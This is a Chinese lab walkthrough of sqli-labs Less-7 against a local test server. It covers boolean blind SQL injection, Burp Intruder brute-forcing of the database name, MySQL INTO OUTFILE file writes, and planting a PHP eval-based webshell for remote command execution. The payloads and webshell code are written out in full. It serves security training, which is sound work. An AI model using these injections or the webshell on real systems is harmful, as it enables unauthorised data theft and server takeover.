sqli-labs-master第七关Less-7超详细360°无死角教程

sqlmaster第七关Less-7

测试IP:http://192.168.64.131 目录:/sqlmaster/Less-7/

不带参数请求页面:

     在这里插入图片描述

可以看到,页面让我们输入id,我们输入一个?id=1作为参数:

     在这里插入图片描述

可以看到给出了正常的数据。

我们再输入一个不存在的id参数?id=999

     在这里插入图片描述

可以看到页面给出SQL语句语法错误。

开始测试

首先我们来一个“'”注入:

     在这里插入图片描述

发现页面提示SQL语句语法错误,说明这里报错了,但没有给出具体的报错信息。那么我们大致可以推测,该页面只会返回正确信息与SQL语句语法错误信息。那么说明这一关不能使用报错注入。


那我们接着尝试猜解SQL语句

键入:?id=1' --+

     在这里插入图片描述

发现SQL语句还是存在语法报错。这说明这里不是id='1'这样的SQL语句,那么我们尝试加“)”看看:

     在这里插入图片描述

多尝试几次,我们发现竟然需要加双层的小括号,hh。。。

这里插入一下:
如果一个用户频繁的企图对一个网址进行sql注入,该网站可能会通过在Web服务器或应用程序中的防火墙来实现IP封锁,导致该用户不能连接该网站,未经授权的渗透测试是违法行为!


这时候,我们大致可以判断该SQL语句因该是id=(('1'))。那就算这样我们又该如何进行有效的注入呢?

这个时候,我们采用Boolean注入[布尔注入]也称布尔盲注

键入:?id=1')) and substr(database(),1,1)='[str]' --+ [str]为任意字符:

     在这里插入图片描述

多次尝试,发现当前数据库的第一个字符是“s”,我相信如果我们把这8个长度的数据库名一直这样猜下去,那么下一个字符一定就是“b”。。。


这里,我们使用burp来爆破数据,当然也可以自行编写脚本来爆破:

1.在浏览器中使用代理

在这里插入图片描述

点击设置

在这里插入图片描述

2.在burp的代理options选项中配置代理

在这里插入图片描述

返回intercept界面,对数据包进行拦截

在这里插入图片描述

  • 开启

在这里插入图片描述

3.在浏览器中输入构造的注入url

在这里插入图片描述

4.返回burp,可以看到拦截的请求

在这里插入图片描述

此时我们鼠标右键点击:send to intruder,再选择intruder

在这里插入图片描述

我们首先单击:clear $来清除变量,然后选中我们需要依次改造注入的字符,然后单击:add $来添加变量,可以看到字符s被dollar符包装:

在这里插入图片描述

5.选择payload来设置有效攻击载荷

在这里插入图片描述

6.按照自身要求依次设置好payload之后,我们直接点击start attack来开始爆破攻击

在这里插入图片描述

我们依次查看爆破的response响应发现,再爆破到字符s时,页面给出了正确的信息:

在这里插入图片描述

当然,我们没必要依次查看response响应,我们直接设置过滤:

在这里插入图片描述

输入完筛选字符,单机apply:

在这里插入图片描述

之后7个字符的的爆破只需修改substr(database(),1,1)的第二个参数即可,可以得到数据库的名字是security


当我们传入id的时候我们观察一下页面回显的的数据内容可以发现:You are in.... Use outfile......告诉我们使用outfile


基础知识:

在MySQL中,outfile可以用来输出一个文件。但是想要执行这样的操作,就必须要开启文件写入的权限。

我们可以执行:show variables like '%secure%';来查看:

     在这里插入图片描述

可以看到,secure_file_priv的value值是NULL,那么这代表此时文件写入的权限是关闭的,那我们需要写入输出文件的保存路径来开启它。

首先,我们来到MySQL的根目录下,会看到一个my.ini的文件。

my.ini文件是MySQL数据库服务器和客户端程序的配置文件,它可以用于设置MySQL的基本运行参数、安全性、缓存、日志记录等方面的参数。

打开my.ini文件,添加secure_file_priv以及他所对应的参数:

     在这里插入图片描述

注意:路径的斜杠需要采用//需要多加一个斜杠来转义字符,其次,因为C盘的权限问题,请不要把路径写到C盘上。【开始我没有注意这一点导致sql语句一直报错,很头疼】

之后我们重启MySQL服务:

     在这里插入图片描述

     在这里插入图片描述

重复刚才的sql语句来查看是否修改成功:

     在这里插入图片描述

可以看到,目录已经写入到:secure_file_priv

那这个时候,我们就可以执行outfile来输出文件到F盘的任意位置了。


回到主题,因为页面让我们使用outfile来上传文件,那我们怎么上传呢?

键入:
?id=-1')) union select version(),database(),user() into outfile "F:\\PHPstudy\\PHPTutorial\\WWW\\sqlmaster\\Less-7\\1.txt" --+

     在这里插入图片描述

此时我们在浏览器中访问1.txt看看效果:

     在这里插入图片描述

可以看到我们想要的一切信息。

  • 到这里,也就算我们注入成功了,第七关通过

扩展:通过上传一句话木马实现远程任意命令执行

键入以下注入语句来上传一句话木马:
?id=-1')) union select "","",concat('<?php echo "<pre>"; ','@eval($_GET[cmd]);','echo "</pre>"; ?>') into outfile "F:\\PHPstudy\\PHPTutorial\\WWW\\sqlmaster\\Less-7\\ma.php" --+

     在这里插入图片描述

尝试访问改木马,可以看到没有任何的信息输出,这是因为我们还没有传入参数:

     在这里插入图片描述

我们尝试传入参数来获取当前目录文件:

     在这里插入图片描述

获取index.php的文件内容:

     在这里插入图片描述

通过获取网页源代码来查看php代码,我们可以发现sql语句的全部写法:

     在这里插入图片描述

查看当前web服务器的网络信息:

     在这里插入图片描述

分析上传一句话木马:

首先,我们使用MySQL自带的concat()函数来拼接一句话木马的代码,它大致的内容是:
输出一对HTML的<pre>标签,来格式化文本。
其次就是使用PHP中的eval函数来达到执行任意命令的效果,执行的命令就是用户发送get请求时的参数cmd。
【cmd中传入的参数命令也需要加“;”】
@的作用就是不输出eval()导致的报错。

当然,我们也可以使用中国菜刀来连接一句话木马,这里就不一一介绍了。

  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

anonymous_who_am_i

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值